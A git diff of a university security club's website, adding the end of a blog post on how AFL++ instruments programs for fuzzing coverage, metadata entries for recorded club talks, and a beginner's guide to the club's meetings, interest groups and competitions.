+[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L1150) + +This function is where the magic really happens. To understand the instrumentation inserted, let's take a look at the code: + +```cpp + BasicBlock::iterator IP = BB.getFirstInsertionPt(); + ... + IRBuilder<> IRB(&*IP); + ... + Value *GuardPtr = IRB.CreateIntToPtr( + IRB.CreateAdd(IRB.CreatePointerCast(FunctionGuardArray, IntptrTy), + ConstantInt::get(IntptrTy, Idx * 4)), + Int32PtrTy); + + LoadInst *CurLoc = IRB.CreateLoad(IRB.getInt32Ty(), GuardPtr); + ModuleSanitizerCoverageAFL::SetNoSanitizeMetadata(CurLoc); + + /* Load SHM pointer */ + + LoadInst *MapPtr = IRB.CreateLoad(PointerType::get(Int8Ty, 0), AFLMapPtr); + ModuleSanitizerCoverageAFL::SetNoSanitizeMetadata(MapPtr); + + /* Load counter for CurLoc */ + + Value *MapPtrIdx = IRB.CreateGEP(Int8Ty, MapPtr, CurLoc); + + if (use_threadsafe_counters) { + ...//not relevant + } else { + LoadInst *Counter = IRB.CreateLoad(IRB.getInt8Ty(), MapPtrIdx); + ModuleSanitizerCoverageAFL::SetNoSanitizeMetadata(Counter) + /* Update bitmap */ + Value *Incr = IRB.CreateAdd(Counter, One); + if (skip_nozero == NULL) { + auto cf = IRB.CreateICmpEQ(Incr, Zero); + auto carry = IRB.CreateZExt(cf, Int8Ty); + Incr = IRB.CreateAdd(Incr, carry); + } + StoreInst *StoreCtx = IRB.CreateStore(Incr, MapPtrIdx); + ModuleSanitizerCoverageAFL::SetNoSanitizeMetadata(StoreCtx); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L1330) + +Ok. The first thing is `GuardPtr`. `GuardPtr` is actually a pointer to the `DAT_*` variable. It is calculated as `(int*)FunctionGuardArray+Idx` where `Idx` is the index of `BB` in `AllBlocks`. + +With this, we then dereference `GuardPtr` to get `CurLoc`. This is the actual value of the `DAT_*` variable. This is going to be our index into `__afl_area_ptr`. + +After this, we get `__afl_area_ptr` and store it into `MapPtr`. + +We then get `MapPtrIdx` by summing `CurLoc` and `MapPtr`. In C, this is functionally `char* MapPtrIdx = (char*)MapPtr + CurLoc` + +From here, we then load the value from `MapPtrIdx` and add `1`. If we don't want `0`, then we add `1` if `*MapPtrIdx+1 == 0`. This is equivalent to the `adc dl, 0x1` we saw in the assembly dump in the Coverage Instrumentation section. + +We then store the new coverage value into `MapPtrIdx`. + +In C, this roughly comes out to be: + +```c +int* FunctionGuardArray = [some offset into sancov_guards]; +char* MapPtr = __afl_area_ptr; +int* GuardPtr = FunctionGuardArray+Idx; +int CurLoc = *GuardPtr; +char* MapPtrIdx = MapPtr[CurLoc]; +char Counter = *MapPtrIdx; +if(!++Counter){ + Counter = 1; +} +*MapPtrIdx = Counter; +``` + +After we insert all our instrumentation, we once again return to `instrumentModule` where we have to do one more thing: insert init functions. These init functions are some of what we find in `.init_array`. This can be seen below: + +```cpp +const char SanCovModuleCtorTracePcGuardName[] = + "sancov.module_ctor_trace_pc_guard"; +... +const char SanCovTracePCGuardInitName[] = "__sanitizer_cov_trace_pc_guard_init"; +... +const char SanCovGuardsSectionName[] = "sancov_guards"; +... + if (FunctionGuardArray) + Ctor = CreateInitCallsForSections(M, SanCovModuleCtorTracePcGuardName, + SanCovTracePCGuardInitName, Int32PtrTy, + SanCovGuardsSectionName); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L476) + +The above function creates an entry in `.init_array` pointing to `sancov.module_ctor_trace_pc_guard`. This constructor is really just a trampoline to `__sanitizer_cov_trace_pc_guard_init` which initializes `sancov_guards`. The parameters for `__sanitizer_cov_trace_pc_guard_init` are the start and end of `sancov_guards` as can be seen below: + +```cpp + std::tie(CtorFunc, std::ignore) = createSanitizerCtorAndInitFunctions( + M, CtorName, InitFunctionName, {Ty, Ty}, {SecStart, SecEnd}); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L306) + +This can also be seen in Ghidra: + +`init_array` entry: + +![](./pcguard_init_array_cov_inst.png) + +`__sanitizer_cov_trace_pc_guard_init` call: + +![](./pcguard_init_call.png) + +And that concludes the PCGUARD instrumentation! + +The LTO plugin is surprisingly similar at its core. The only real 2 differences are that instead of loading from `GuardPtr`, we use a global variable as our `CurLoc`, and we use a different init function + +This can be seen in the source of [`InjectCoverageAtBlock`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/SanitizerCoverageLTO.so.cc#L1614) + +```cpp + ++afl_global_id; + ... + ConstantInt *CurLoc = ConstantInt::get(Int32Tyi, afl_global_id); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/SanitizerCoverageLTO.so.cc#L1646) + +In this case, `afl_global_id` is our index and is incremented each time we insert instrumentation. + +In addition, the init functions are different. Specifically, instead of using `sancov.module_ctor_trace_pc_guard`, we use `__afl_auto_init_globals`. In fact, we actually construct that function in IR as seen below: + +```cpp + Function *f = M.getFunction("__afl_auto_init_globals"); + + ... + + BasicBlock *bb = &f->getEntryBlock(); + ... + BasicBlock::iterator IP = bb->getFirstInsertionPt(); + IRBuilder<> IRB(&(*IP)); + ... + if (getenv("AFL_LLVM_LTO_DONTWRITEID") == NULL) { + + uint32_t write_loc = afl_global_id; + + write_loc = (((afl_global_id + 8) >> 3) << 3); + + GlobalVariable *AFLFinalLoc = + new GlobalVariable(M, Int32Tyi, true, GlobalValue::ExternalLinkage, 0, + "__afl_final_loc"); + ConstantInt *const_loc = ConstantInt::get(Int32Tyi, write_loc); + StoreInst *StoreFinalLoc = IRB.CreateStore(const_loc, AFLFinalLoc); + ModuleSanitizerCoverageLTO::SetNoSanitizeMetadata(StoreFinalLoc); + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoverageLTO.so.cc#L1009) + +In the above code, we essentially insert IR code to set `__afl_final_loc = afl_global_id`. + +This can also be seen in Ghidra in a LTO binary: + +![](./auto_init_globals_final_loc.png) + +And that concludes the instrumentation! Once all of this IR has been inserted, the IR code is sent to the backend and turned into our raw assembly. + +
+
+## Conclusion + +Fuzzing is awesome. There are so many capabilities of AFL++ here I haven't covered like QEMU cross-arch fuzzing, frida fuzzing, LibAFL, and more I probably don't even know about. If you are interested in this kind of technology, I cannot recommend the [Awesome Fuzzing Discord](https://discord.gg/Kd86WEEr) and the AFL++ documentation enough. + +If there are any mistakes or improvements that can be made here, absolutely do not hesitate to email me at sharad@mineo333.dev I would love to hear your thoughts, comments, or questions. + +Happy hacking! + +
+
+## Acknowledgements + +Huge thanks to vanhauser-thc (Marc Heuse) for answering my various questions on the AFL implementation. + +
diff --git a/src/content/research/afl-under-the-hood/pcguard_init_array_cov_inst.png b/src/content/research/afl-under-the-hood/pcguard_init_array_cov_inst.png new file mode 100644 index 00000000..bb459b10 Binary files /dev/null and b/src/content/research/afl-under-the-hood/pcguard_init_array_cov_inst.png differ diff --git a/src/content/research/afl-under-the-hood/pcguard_init_array_full.png b/src/content/research/afl-under-the-hood/pcguard_init_array_full.png new file mode 100644 index 00000000..e17a4df7 Binary files /dev/null and b/src/content/research/afl-under-the-hood/pcguard_init_array_full.png differ diff --git a/src/content/research/afl-under-the-hood/pcguard_init_call.png b/src/content/research/afl-under-the-hood/pcguard_init_call.png new file mode 100644 index 00000000..d5aa2332 Binary files /dev/null and b/src/content/research/afl-under-the-hood/pcguard_init_call.png differ diff --git a/src/content/research/afl-under-the-hood/pdf_info.png b/src/content/research/afl-under-the-hood/pdf_info.png new file mode 100644 index 00000000..c385c0b6 Binary files /dev/null and b/src/content/research/afl-under-the-hood/pdf_info.png differ diff --git a/src/content/research/afl-under-the-hood/pdf_info_asm.png b/src/content/research/afl-under-the-hood/pdf_info_asm.png new file mode 100644 index 00000000..ca1d7435 Binary files /dev/null and b/src/content/research/afl-under-the-hood/pdf_info_asm.png differ diff --git a/src/content/research/afl-under-the-hood/pdf_info_lto.png b/src/content/research/afl-under-the-hood/pdf_info_lto.png new file mode 100644 index 00000000..e29ac12f Binary files /dev/null and b/src/content/research/afl-under-the-hood/pdf_info_lto.png differ diff --git a/src/content/research/afl-under-the-hood/sancov_guards.png b/src/content/research/afl-under-the-hood/sancov_guards.png new file mode 100644 index 00000000..e9010405 Binary files /dev/null and b/src/content/research/afl-under-the-hood/sancov_guards.png differ diff --git a/src/content/research/alien-case-the-search-for-bingus/index.mdx b/src/content/research/alien-case-the-search-for-bingus/index.mdx new file mode 100644 index 00000000..e95ee6c0 --- /dev/null +++ b/src/content/research/alien-case-the-search-for-bingus/index.mdx @@ -0,0 +1,12 @@ +--- +title: "Alien Case: The Search For Bingus" +authors: + - name: "Jesse Saunders" + - name: "Phil Colangelo" + - name: "Reed Swartz" + - name: "Kevin McCarthy" +date: 2025-04-09 +group: "general" +summary: "Alien Case: The Search For Bingus" +video: "https://www.youtube.com/watch?v=CJOmn7Bb8iE" +--- diff --git a/src/content/research/all-about-shells/index.mdx b/src/content/research/all-about-shells/index.mdx new file mode 100644 index 00000000..79fd21b1 --- /dev/null +++ b/src/content/research/all-about-shells/index.mdx @@ -0,0 +1,9 @@ +--- +title: "All About Shells" +authors: + - name: "Draden Barwick" +date: 2022-12-22 +group: "general" +summary: "All About Shells" +video: "https://www.youtube.com/watch?v=x3csGvSCRVc" +--- diff --git a/src/content/research/an-insider-perspective-on-the-career-fair/index.mdx b/src/content/research/an-insider-perspective-on-the-career-fair/index.mdx new file mode 100644 index 00000000..8ba00a35 --- /dev/null +++ b/src/content/research/an-insider-perspective-on-the-career-fair/index.mdx @@ -0,0 +1,9 @@ +--- +title: "An Insider Perspective on the Career Fair" +authors: + - name: "Chris Partridge" +date: 2024-09-20 +group: "general" +summary: "An Insider Perspective on the Career Fair" +video: "https://www.youtube.com/watch?v=hiP-TO6EAq4" +--- diff --git a/src/content/research/an-introduction-to-ics-security/index.mdx b/src/content/research/an-introduction-to-ics-security/index.mdx new file mode 100644 index 00000000..7dd1f1d3 --- /dev/null +++ b/src/content/research/an-introduction-to-ics-security/index.mdx @@ -0,0 +1,9 @@ +--- +title: "An Introduction to ICS Security" +authors: + - name: "Colin" +date: 2022-12-22 +group: "general" +summary: "An Introduction to ICS Security" +video: "https://www.youtube.com/watch?v=cPtnRvX3CSc" +--- diff --git a/src/content/research/an-overview-of-electronic-elections/index.mdx b/src/content/research/an-overview-of-electronic-elections/index.mdx new file mode 100644 index 00000000..be90c335 --- /dev/null +++ b/src/content/research/an-overview-of-electronic-elections/index.mdx @@ -0,0 +1,9 @@ +--- +title: "An Overview Of Electronic Elections" +authors: + - name: "Dan LaChance" +date: 2025-01-19 +group: "general" +summary: "An Overview Of Electronic Elections" +video: "https://www.youtube.com/watch?v=W2DBoPim-PY" +--- diff --git a/src/content/research/an-undocumented-project-is-a-useless-project/index.mdx b/src/content/research/an-undocumented-project-is-a-useless-project/index.mdx new file mode 100644 index 00000000..7de32853 --- /dev/null +++ b/src/content/research/an-undocumented-project-is-a-useless-project/index.mdx @@ -0,0 +1,9 @@ +--- +title: "An Undocumented Project is a Useless Project" +authors: + - name: "Bradley Harker" +date: 2023-11-21 +group: "general" +summary: "An Undocumented Project is a Useless Project" +video: "https://www.youtube.com/watch?v=2JyAt_7DXpk" +--- diff --git a/src/content/research/andriod-reversing-with-emmanuel/index.mdx b/src/content/research/andriod-reversing-with-emmanuel/index.mdx new file mode 100644 index 00000000..3a169aac --- /dev/null +++ b/src/content/research/andriod-reversing-with-emmanuel/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Andriod Reversing with Emmanuel" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Andriod Reversing with Emmanuel" +video: "https://www.youtube.com/watch?v=O0h-tWpnwa4" +--- diff --git a/src/content/research/andriod-rom-josh-niemann/index.mdx b/src/content/research/andriod-rom-josh-niemann/index.mdx new file mode 100644 index 00000000..103794ea --- /dev/null +++ b/src/content/research/andriod-rom-josh-niemann/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Andriod ROM Josh Niemann" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Andriod ROM Josh Niemann" +video: "https://www.youtube.com/watch?v=B_WKidTKFc0" +--- diff --git a/src/content/research/android-malware-then-and-now/index.mdx b/src/content/research/android-malware-then-and-now/index.mdx new file mode 100644 index 00000000..b40fee24 --- /dev/null +++ b/src/content/research/android-malware-then-and-now/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Android Malware Then and Now" +authors: + - name: "Draden Barwick" +date: 2022-12-22 +group: "general" +summary: "Android Malware Then and Now" +video: "https://www.youtube.com/watch?v=SkMjpoTPeBQ" +--- diff --git a/src/content/research/arm-trustzone/index.mdx b/src/content/research/arm-trustzone/index.mdx new file mode 100644 index 00000000..c19fe943 --- /dev/null +++ b/src/content/research/arm-trustzone/index.mdx @@ -0,0 +1,9 @@ +--- +title: "ARM TrustZone" +authors: + - name: "Brandon Adler" +date: 2022-12-22 +group: "general" +summary: "ARM TrustZone" +video: "https://www.youtube.com/watch?v=-kvrP1KjHII" +--- diff --git a/src/content/research/artifical-intelligence-and-the-future-of-phishing/index.mdx b/src/content/research/artifical-intelligence-and-the-future-of-phishing/index.mdx new file mode 100644 index 00000000..efd39d0b --- /dev/null +++ b/src/content/research/artifical-intelligence-and-the-future-of-phishing/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Artifical Intelligence And the Future of Phishing" +authors: + - name: "Leah Kvares" +date: 2025-02-02 +group: "general" +summary: "Artifical Intelligence And the Future of Phishing" +video: "https://www.youtube.com/watch?v=ohXk8Oc86aA" +--- diff --git a/src/content/research/audio-steganography-using-seeded-low-order-bit-encoding/index.mdx b/src/content/research/audio-steganography-using-seeded-low-order-bit-encoding/index.mdx new file mode 100644 index 00000000..bb5e3721 --- /dev/null +++ b/src/content/research/audio-steganography-using-seeded-low-order-bit-encoding/index.mdx @@ -0,0 +1,11 @@ +--- +title: "Audio Steganography using seeded low order bit encoding" +authors: + - name: "Sam Lipton" + - name: "Joshua Stuts" + - name: "Pranat Dayal" +date: 2018-11-30 +group: "general" +summary: "This is a covert channel utilizing the concept known as bass boosting to allow us to covertly encode more bits into less space without being noticed due to distortion. We currently have both encoding and decoding working" +video: "https://www.youtube.com/watch?v=MiFOgB20O5M" +--- diff --git a/src/content/research/back-dooring-a-smart-camera-emmanuel/index.mdx b/src/content/research/back-dooring-a-smart-camera-emmanuel/index.mdx new file mode 100644 index 00000000..92ca806f --- /dev/null +++ b/src/content/research/back-dooring-a-smart-camera-emmanuel/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Back Dooring a Smart Camera Emmanuel" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "Back Dooring a Smart Camera Emmanuel" +video: "https://www.youtube.com/watch?v=Wq5I5Ek1OLE" +--- diff --git a/src/content/research/backdooring-iptables/index.mdx b/src/content/research/backdooring-iptables/index.mdx new file mode 100644 index 00000000..4a5315e9 --- /dev/null +++ b/src/content/research/backdooring-iptables/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Backdooring IPTables" +authors: + - name: "Philomena Gray" +date: 2022-12-22 +group: "general" +summary: "Backdooring IPTables" +video: "https://www.youtube.com/watch?v=l7zGAvk2e-E" +--- diff --git a/src/content/research/backdooring-portable-executable-files/index.mdx b/src/content/research/backdooring-portable-executable-files/index.mdx new file mode 100644 index 00000000..7d08bfd7 --- /dev/null +++ b/src/content/research/backdooring-portable-executable-files/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Backdooring Portable Executable Files" +authors: + - name: "Kenny Anderson" +date: 2022-12-22 +group: "general" +summary: "Backdooring Portable Executable Files" +video: "https://www.youtube.com/watch?v=Ii96UvYEHRY" +--- diff --git a/src/content/research/basic-red-team-infrastructure/index.mdx b/src/content/research/basic-red-team-infrastructure/index.mdx new file mode 100644 index 00000000..d64976b2 --- /dev/null +++ b/src/content/research/basic-red-team-infrastructure/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Basic Red Team Infrastructure" +authors: + - name: "Jon Bauer" +date: 2022-12-22 +group: "general" +summary: "Basic Red Team Infrastructure" +video: "https://www.youtube.com/watch?v=CIWEPgiZUdI" +--- diff --git a/src/content/research/beginners-guide/index.mdx b/src/content/research/beginners-guide/index.mdx new file mode 100644 index 00000000..0ac3f397 --- /dev/null +++ b/src/content/research/beginners-guide/index.mdx @@ -0,0 +1,191 @@ +--- +title: "Comprehensive Beginner's Guide to RITSEC" +summary: "How to get the most out of RITSEC." +date: 2025-08-24 +authors: + - name: Leah Kvares +--- + +
+So you just started at RIT, and you want to know how to make the most of your time here? Whether you’re new on campus, considering applying, or didn’t participate much in your first year and are looking to get involved now, this post provides a detailed breakdown of the opportunities available through RITSEC and how you can take full advantage of them. + +This post is mainly written with incoming first years or transfer students in mind, but others may find the information useful as well. A lot of the content covered in this post is also shared in the "Intro to RITSEC" presentation during the first general meeting of the fall semester. + +
+ +
+## Meeting Format +Let's start with a brief crash course on the format of RITSEC meetings and events. + +Our general meeting is held every Friday from 12:00PM to 4:00PM (with the exception of Fridays preceding school breaks or our competitions) in the cybersecurity building conference rooms — it's on the main floor across from the cyber range with the RITSEC flag hanging in the doorway, very hard to miss. The meeting kicks off with the education portion at 12:00PM-1:00PM, where one of our club members, or possibly an industry presenter, gives a talk on the specialized topic for the week. Usually, the fall semester topics stay the same year-to-year, where we teach the basics of Windows, Linux, career advice, core services, black teaming, red teaming, et cetera... + +Following education is demo time. Demos are a set of CTF-style challenges, ranging from easy to hard, that specifically correspond to the topic of education for that week. At the end of the school year, the top three scorers for demos win some _really_ cool prizes. + +At around 2:00PM, we bring out the **_free pizza_**, continue doing demos, and mingle for a bit. + +In the fall semester of my freshman year, I had back-to-back classes from 11:50AM to 3:50PM, but whenever I came out of my software development class upstairs, I'd always be just in time for some pizza before heading to YOPS. All that to say, you shouldn't sweat not being able to make the general meeting — I found plenty of other ways to get involved. + +From 2:30PM to 4:00PM is the research portion of the meeting. Anyone can sign up to present on anything tech-, privacy-, or infosec-related they'd like. It's a low-stress way to teach club members something you're passionate about, whether it's a personal project, mentorship project, class project, or co-op experience. Your first presentation earns you your very own RITSEC lanyard, and subsequent presentations stack up for bigger and better prizes. This portion of the meeting is also where we bring in industry speakers from our sponsor companies to give talks. + +Yes, the meeting is four hours long. There is no expectation for you to be there for all four hours, you can come and go as you please. Education talks will always be recorded and posted to our [YouTube channel](https://www.youtube.com/ritsec), and you can do the demos on your own time. Research talks are not guaranteed to be posted. We also stream the meeting live on [Twitch](https://www.twitch.tv/ritsec). + +> Freshman pro tip: we host a RITSEC BBQ on the Friday afternoon after the first general meeting of the semester, in a location that's walkable from dorms. I highly recommend attending so that you can get to know current club members and meet some other new people looking to get involved. + +
+
+## The Club Room +The club room is our little headquarters, located on the second floor of the GCI on the corner near the large 0101 window. You can come here in between your classes or in the evenings before/after IG meetings. It’s a great space to get some homework help or kill that awkward one-or-so hour gap between classes. There are no set hours for the club room; e-board members and IG leads are the only ones with access to open it and take responsibility for it, so it’s available whenever they’re free to open it up and stick around. Realistically, it’ll be open at any reasonable time you’d want to show up (and honestly, probably at some unreasonable times too). + +Inside, we’ve got tables, monitors, lock-picking materials, an extremely comfy new couch, and a whiteboard where you’re likely to see someone’s scribbled network diagram or linear algebra homework. + +We hold scheduled "hack nights" every so often, which serve as an extra excuse to head in, hang out, and work on projects together in the evening for a few set hours. + +The club room may seem daunting to walk into, but it's actually a room full of potential connections. All the people in there are either there to help you out or learn new things themselves. Feel free to just ask anyone to explain their favorite cybersecurity topic to you, and I guarantee that you'll get a great conversation out of it. + +
+
+## Our Discord Server +This is the main platform for RITSEC communications. We have *a lot* of channels, which is why there is the role-join channel, where you can pick which channels to join for interest groups and topics of interest. Just to pick a few of the most important channels, \#announcements, \#general, \#questions, and \#signin are the ones to be familiar with. If you aren't in our Discord yet, the join link is at the end of this post in [Important Links](#important-links). + +The next few sections are unfortunately a bit information-dense, but it's important to define a lot of the roles and activities in this club in order to understand the advice I'll be sharing later in this post. + +
+
+## Executive Board (E-Board) +**Here's a quick overview of our e-board's structure and each position's responsibilities.** + +**President**: The big boss, the face of the club and e-board. Coordinates external-facing logistics. + +**Vice President:** Supports the president. Assists e-board members as needed. Presides over the a-board. + +**Treasurer:** Responsible for all financial transactions of all aspects of the organization and keeping all financial records up to date. Crafts budgets for each event, interest group, e-board position, and more. + +**Director of Public Relations:** Acts as the public-facing individual for RITSEC pertaining to organizations outside of RIT. Responsible for all interactions with current and potential sponsors. + +**Secretary:** Records and publishes weekly e-board meeting notes. Manages the livestreaming and recording of club meetings. Maintains RITSEC's public calendar. Responsible for the interest groups. + +**Operations Lead:** Responsible for the Operations program. Keeps our stack from burning down. + +**Head of Education:** Organizes the education portion of club meetings by selecting presenters and ensuring a presentation has been created for the topic of the week in a timely manner. Assists the Tech Lead with demos as needed. + +**Head of Research:** Organizes the research portion of club meetings by selecting presenters and ensuring their presentation has been created in a timely manner. Presents weekly news topics Promotes research opportunities to be undertaken by RITSEC members and reviews research grant requests. + +**Tech Lead:** Responsible for designing and distributing technical demos of weekly meetings. + +**ISTS Competition Architect:** Designs and oversees all aspects of the Information Security Talent Search competition. + +**IRSeC Competition Architect:** Designs and oversees all aspects of the Incident Response Security Competition. + +**CTF Competition Architect:** Designs and oversees all aspects of the RITSEC Capture The Flag competition. + +To see who currently holds the e-board positions, check out the about page on [our website](https://ritsec.club/about). + +
+
+## Assistance Board (A-Board) + +**Web Admin:** Responsible for maintaining all RITSEC websites. + +**Junior Tech Lead:** Directly reports to and is responsible for assisting the current +Tech Lead. + +**Junior Operations Lead:** Directly reports to and is responsible for assisting the current +Operations Lead. + +**Head of Social Media:** Responsible for maintaining all RITSEC social media. + +**Head of Social Events:** Responsible for organizing social events throughout the semesters. + +
+
+## Interest Groups (IGs) +Interest groups are extensions of the club, each with their own sub-focus. As of writing this post, below are the interest groups that we have. + +**Red Team/Red Team Recruiting:** Perform the role of an effective adversary to blue teams at RITSEC and affiliated competitions. Grow the skills and knowledge in red teaming, software development, and offensive security within RITSEC. Attend red team recruiting to learn more about red teaming and the requirements to join the RITSEC Red Team, as well as to build your first red team tool. + +**Team Contagion:** Teach students about Capture The Flag (CTF) competitions. Represent RITSEC at CTFs. Research and develop CTF challenges for CTF competitions. + +**Reverse Engineering:** Also known as Reversing. Learn about reverse engineering, vulnerability research, and exploit development. + +**Vulnerability Research:** Also known as VRIG. Learn the process of finding vulnerabilities in different classes of software; this includes techniques such as fuzzing, manual code review, and more. + +**Wireless:** Also known as Wiggles. Research and educate in topics of Radio Frequency (RF) and wireless security; this includes topics such as Wi-Fi, Cellular, RFID, SDR, Amateur Radio, etc. + +**Physical Security:** Learn about different physical security bypasses, how to pick locks, and gain skills which can be used in a physical pentesting career. + +**RIT Vulnerability Assessment and Penetration Testing:** Also referred to as RVAPT. Learn about scanning assets, finding and exploiting vulnerabilities, and assessing a network/system’s security posture. Familiarize members with performing a penetration test and how to write a professional penetration test report. + +**Operations:** Also known as Ops. Learn about DevSecOps, operating systems, system administration, networking, cloud computing, and secure software development. + +**Incident Response:** Referred to as IRIG. Research and educate about cyber incidents, and how to respond to these incidents; this includes topics such as compliance frameworks, SOC/SIEM/SOAR monitoring tools, forensics analysis, log analysis, and cyber defense techniques. + +**Women in Cybersecurity (WiCyS) RIT Student Chapter:** Technically an external organization. Present opportunities through the WiCyS Organization, such as attending the annual conference and career fairs. Connect alumnae connected to the RIT community and to strengthen the bond between current female students. + +**Operational Technology (OT) Security:** Learn about protecting the computers and machines that control real-world things like power plants, water treatment facilities, traffic lights, and factory machines. + +**Zero To Hero:** Designed for success-seeking beginners; focusing on foundational knowledge, learning what you don't know, giving academic and career guidance, and finding as well as diving into your security niche. + +
+
+## Competitions + +**IRSeC (Incident Response Security Competition)**: Our beginner-friendly red vs. blue competition, hosted each fall. Provides mainly first- and second-year RIT students with introductory experience in cyber defense and incident response. Teams of five can sign up together or you can register as a free agent and be assigned a team. The competition is entirely built and organized by RITSEC members. Leading up to the event, we host Blue Team workshops leading up to the competition to teach you all the skills you'll need to prepare for what you will encounter at the competition and get a good experience out of it. You will hear a lot more about IRSeC through announcements in our Discord, as well as education presentations covering the core of how everything works for our competitions. + +**RITSEC CTF**: Global Capture The Flag competition, hosted each spring, in which you can compete or write challenges for. + +**ISTS (Information Security Talent Search)**: Three-day cyber attack/defend competition, hosted each spring. Universities from around the country plus the winning team of IRSeC are invited to compete. Not only is there the traditional red vs. blue aspect, but ISTS also includes purple teaming (attacking other blue teams), a mini CTF, a King of the Hill (KotH) challenge, and The Game. RITSEC students get involved in the setup of this competition through black teaming and white teaming. + +> DO NOT worry about memorizing all the information about our IGs, positions, and competitions. We make sure to keep all of our members in the loop via Discord announcements and frequently re-share this info as events approach, so you won't be lost. + +
+
+## The First-Year Itinerary +These are the things to focus on as a first-year student to maximize the benefit you can get out of RITSEC. + +First things first, sign up for the RITSEC newsletter (`mail.ritsec.club`). It is sent out each week with information on education and research presenters for that week's meeting, any currently ongoing sign-ups, and details on upcoming events. + +In the fall semester, you’ll have the privilege of a relatively light course load filled with gen eds and introductory cybersecurity classes. During this time, attend our social events like the BBQ and local trips to places such as Letchworth State Park and apple picking. Head into the club room, meet some people, and find your place in RITSEC. + +The mentorship program is one of the best things you can do as a first-year. We offer group and one-on-one mentorship. Mentorship groups are led by 1-2 mentors where mentees will learn a specific topic and create a project to present to the club. 1-1 mentorship pairs one mentee with one upperclassman mentor for regular meetings, advice, and support. RITSEC's mentorship program is a great way to build connections with upperclassmen and other club members, gain skills and experience to add to your resume, and also get to attend exclusive mentorship social events throughout the semester. + +I also want to highlight the Zero to Hero interest group, which is new as of fall 2025. As mentioned above, this IG is meant to help teach and reinforce basic topics that will help you do cool stuff once you have the basics down. The goal is to bring your cybersecurity knowledge to be ahead of the classes you take in your first year and help you dive into specific areas of security. + +Participate in IRSeC!!! In my opinion, this is a must-do as part of the ultimate RITSEC first-year experience. See [Competitions](#competitions) for a description of IRSeC, check out the website linked in the [Important Links](#important-links) section below, and keep an eye on the Discord for when we release blue team or white team sign-ups. + +You should also compete in the WiCyS CTF, which offers a great CTF experience with challenges written by RITSEC members. I am a renowned CTF hater and even I competed in the WiCyS CTF my first year. As with most things in college, you gotta to try it at least once before deciding whether or not you like it, and it was a great learning experience. + +Additionally, you can attend CCDC tryouts and compete in the Collegiate Cyber Defense Competition (CCDC) mini-comp for extra blue team experience. It's essentially IRSeC part two, and you don’t need to have any intention of joining the CCDC team to participate. + +If you have any questions at all, make sure to use the \#freshmen-forum and \#freshman-guide channels in our Discord. + +Once the spring semester hits, you'll have gotten into the groove of things. Be ready to lock in, because your classes will get harder and Rochester winter sucks a little sometimes. Keep attending interest groups, maybe work on some research for the club, and sign up for spring mentorship. The spring is the time to compete in the RITSEC CTF and help out with ISTS by signing up for white team or black team. When Imagine RIT rolls around, you can volunteer to table at the RITSEC exhibit to show off our interest groups, mentorship, and research projects. + +
+ +
+## Career Stuff +The RITSEC Career Fair Eve (CFE) is an exclusive career fair event with just RITSEC's sponsors. It's split into virtual CFE and in-person CFE, and takes place every semester on the evenings before the RIT career fair to give our sponsors the opportunity to recruit RITSEC members directly because they know we have a lot to offer. If you're not ready for the whole job-hunting process, you can use CFE as practice for the RIT career fair or to get resume feedback directly from recruiters. + +A slept-on resource is the \#resume-reviews channel in our Discord. You can post your resume on our resume review site and get feedback from RITSEC members. I definitely recommend throwing your resume in there at least once during your freshman year, particularly before a career fair. + +
+
+## Conclusion + +By the way, you do not need to be a cybersecurity major to attend RITSEC! Many of our members are majoring in computer science, software engineering, computing and information technologies, computer engineering, and more. + +All in all, the club is a diverse group of people that you can learn a lot from. As you can tell, we offer a lot of ways to get involved and have something for everyone's interests. Try to soak up as much as possible, but also just stick to what's fun for you and don't overthink it. We are always happy to welcome new members, and we look forward to seeing you at our meetings and in the club room. :) + +
+
+## Important Links +- [RITSEC Discord server](https://discord.ritsec.club/) +- [RITSEC website](https://ritsec.club/) +- [RITSEC newsletter](https://mail.ritsec.club/) +- [RITSEC YouTube channel](https://www.youtube.com/ritsec) +- [RITSEC meetings & events calendar](https://calendar.ritsec.club/) +- [RITSEC Twitch channel](https://www.twitch.tv/ritsec) +- [RITSEC Instagram](https://www.instagram.com/ritsecclub/) +- [IRSeC website](https://irsec.club/) +- [ISTS website](https://ists.io/) +
